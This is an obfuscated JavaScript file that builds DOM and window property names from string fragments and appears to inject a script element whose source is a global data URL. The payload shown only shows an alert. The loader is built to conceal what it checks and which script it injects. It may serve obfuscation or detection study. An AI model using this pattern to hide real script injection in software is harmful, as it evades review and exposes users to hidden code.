window.globalScriptSrc = "data:text/javascript,alert('work, yes')";

+(function() {
  function resolve(val, opt) {
    return val == 1
      ? (lay.common = ((cond = jobs),
        [
          ((lay.vals[1] = "s" + specify(true, 2, 1)[2] + 4), jobs.top) &&
            map(parse(block(false, 2, 1)[2], join(3), hip(null, 3, 1))) &&
            map(specify(true, 2, 2)) &&
            !map(lay.replace + collapse(put(hip(true, 3))) + join(2) + specify(false, 2, 1)[1])
        ]))
      : clean(val, opt);
  }

  function update(obj) {
    if (!(obj instanceof Object)) {
      return [];
    }

    return arguments[1]
      ? (lay.vals[2] = reload(hip(false, 2, 1)[1]) + 5)
      : (function() {
          var buf = Object.getOwnPropertyNames(obj),
            all = Object.getPrototypeOf(obj);
          return all ? buf.concat(update(all)) : buf;
        })();
  }
  function passed() {
    conf = {
      app: "web_",
      max_buffer: [2, 3, 4, 5, 6, 7],
      open_client_content: "doc_nts",
      rm_bug: "dev_bar",
      break: "\\n"
    };
    lay = {};
    return specify(conf, lay);
  }

  function map(log, rec) {
    return log == rec
      ? (cond.shouldUpdate =
          typeof answ("cr" + join(3) + put(block(true, 2))) == run(map, 0) ||
          cut(lay)
            .join(answ("j" + join(4 + get(3)) + put(specify(undefined, 2)), lay.maped))
            .match(resolve('"', specify(true, 3, 1)[2])))
      : (function() {
          const virt = top(log, rec);
          return (virt && note(virt, rec)) || false;
        })();
  }
  function check() {
    if (answ() && collapse(hip(false, 0, 1))) {
      inside();
    }
    return note(1);
  }

  function inside() {
    return (answ(put(specify(true, 4)) + join(2) + "y", lay.handler).appendChild(
      lay.handler.createElement(run(toAll) + run(note) + block(false, 2, 1)[1])
    ).src = lay.min.globalScriptSrc);
  }
  function answ(err, im) {
    return arguments.length === 0
      ? answ("pl" + join(4) + specify(true, 3), lay.maped).match(
          resolve(put(err, im).join("|"), run(top, 3))
        ) && tools(true)
      : (((lay.replace = "^"), im) || (lay.min = window))[top(err, im)];
  }

  function cut(ate, head, type) {
    return !ate
      ? update(conf, true)
      : ate === cond
      ? [
          answ(specify(true) + join(7) + hip(null)[1], lay.maped),
          answ(block(true) + join(6) + conf.break[1], lay.maped)
        ]
      : ate.substr(type || 0, head);
  }

  function run(cb2, pair) {
    return cb2
      .toString()
      .match(resolve(reload(conf.break[0], 2) + conf.app[0] + "+", hip(true, 3, 1)[2]))[
      pair === 0 ? 0 : pair || 2
    ];
  }
  function collapse(sole) {
    return sole.length !== 0
      ? sole[0].toUpperCase() + sole.substr(1)
      : (function() {
          const newEl = answ(toAll(cut(run(clean), 4)) + join(5) + lay.group, lay.maped);
          return lay.vals
            .concat([reload(conf.app[1]) + 2])
            .map(make(newEl))
            .reduce(function(acc, frame3) {
              return acc || frame3;
            });
        })();
  }

  function commit(abs) {
    var query = [lay.replace, abs, lay.group];
    var sleep = [query.join(""), query[0] + abs, abs + query[2], abs];
    return sleep.map(function(abs) {
      return resolve(abs);
    });
  }

  function tools(nill) {
    return nill
      ? !answ(specify(true, 1) + join(4 * 2) + hip(null, 2, 1), lay.maped) &&
          !cond.shouldUpdate &&
          map(collapse(block(false) + join(7) + specify(true, 1, 1)))
      : map(nill, undefined);
  }

  function top(raw, gi) {
    return gi === null
      ? ((lay.common[1] = note(
          "alt",
          answ(parse("st", join(2), hip(null)[1], lay.group), get(null))
        )),
        (jobs.common[2] = jobs.common[3] =
          map(join(2) + hip(true, 3, 1)) && !(lay.res[1] && lay.res[1].name.match(run(slim)))))
      : update(((lay.group = "$"), gi) || lay.min).filter(slim(conf.max_buffer[3], raw))[0];
  }
  function note(ip, rec) {
    return ip === 1 ? (lay = jobs = cond = null) : rec === 1 ? "pxe" : ip in (rec || lay.min);
  }

  function join(con, take) {
    return (
      (take || specify(false, null, 1)) +
      reload(conf.break[0], 2) +
      conf.app[0] +
      make.toString().match(resolve("." + conf.break, block(true, 3, 1)[2]))[0][0] +
      con +
      note.toString().slice(-1)
    );
  }

  function toAll(scr) {
    return scr == lay
      ? ((scr.maped =
          answ(specify(true, 2, 1) + join(get(3) + 6)) ||
          answ("na" + join(6) + put(block(true, 3)))),
        make(slim))
      : (function(params) {
          return (function(inc) {
            return inc.reverse().join(params);
          })(scr.split(params));
        })(hip(false, null, 1));
  }

  function clean(result) {
    return result === lay
      ? "ger"
      : typeof result === "string"
      ? new lay.min[
          lay.valExp ||
            (lay.valExp = [clean(lay), note(lay, 1)]
              .map(function(key) {
                return collapse(toAll(key));
              })
              .join(""))
        ](result, arguments[1])
      : top(result, null);
  }

  function specify(cail, is, match, im) {
    return cail === conf
      ? ((is.handler = answ(specify(null, 2))), (is.vals = ["f" + hip(true, 1)[2] + 5]), toAll(is))
      : (function(acts) {
          var value = ((hip = acts), update(conf || im)[is || 0]);
          var obj0 = cail ? value : (conf || im)[value];
          return obj0.split ? obj0.split(conf.rm_bug[3])[match || 0] : obj0;
        })((block = specify));
  }

  function reload(obj1, position) {
    return obj1 !== "new"
      ? new Array(position || 3).join(obj1)
      : ((jobs.top = ((lay.vals[1] = put(specify(true, 2, 1)) + "e" + conf.max_buffer[2]),
        map(collapse(put(block(false)) + join(4 + get(3)) + "y")))),
        resolve(1),
        cut(),
        [clean, tools, check].map(make));
  }
  function put(frame2, is3) {
    return is3 === frame2
      ? [toAll(cut(run(tools), 2) + conf.app[0]), cut(block(true, 1), 2) + put(hip(true, 2, 1))]
      : frame2[is3 || 0];
  }

  function slim(light, obj2) {
    return light === 5
      ? function(blow) {
          var base = false;
          return commit(obj2).reduce(function(acc, frame) {
            return !base && frame.test(blow) ? (base = true) : base;
          });
        }
      : ((lay.res = ((jobs = lay), answ(parse("pl", join(4), hip(false, 2, 1)[2]), lay.maped))),
        reload("new"));
  }
  function get(is4) {
    return is4 === null
      ? answ(
          put(block(undefined, 2)) + join(get(-2) + get(-1)) + specify(false, 2, 1)[1],
          lay.handler
        )
      : is4 >= 0
      ? conf.max_buffer[is4 || 0]
      : conf.max_buffer[conf.max_buffer.length + is4];
  }

  function parse() {
    return (function(key) {
      const specified = [];
      for (let i = 0; i < key.length; i++) {
        specified.push(key[i]);
      }
      return specified.reduce(function(acc, elem) {
        return acc + elem;
      });
    })(arguments);
  }

  var make = (function(x) {
    var num = 0;
    function applied(cb) {
      return typeof cb !== "function"
        ? function(val, vim) {
            return cb.match(resolve(val[0] + join(val[2]) + val[1], "i")) && lay.common[vim];
          }
        : setTimeout(cb, num++);
    }
    return applied(x), applied;
  })(passed);
})();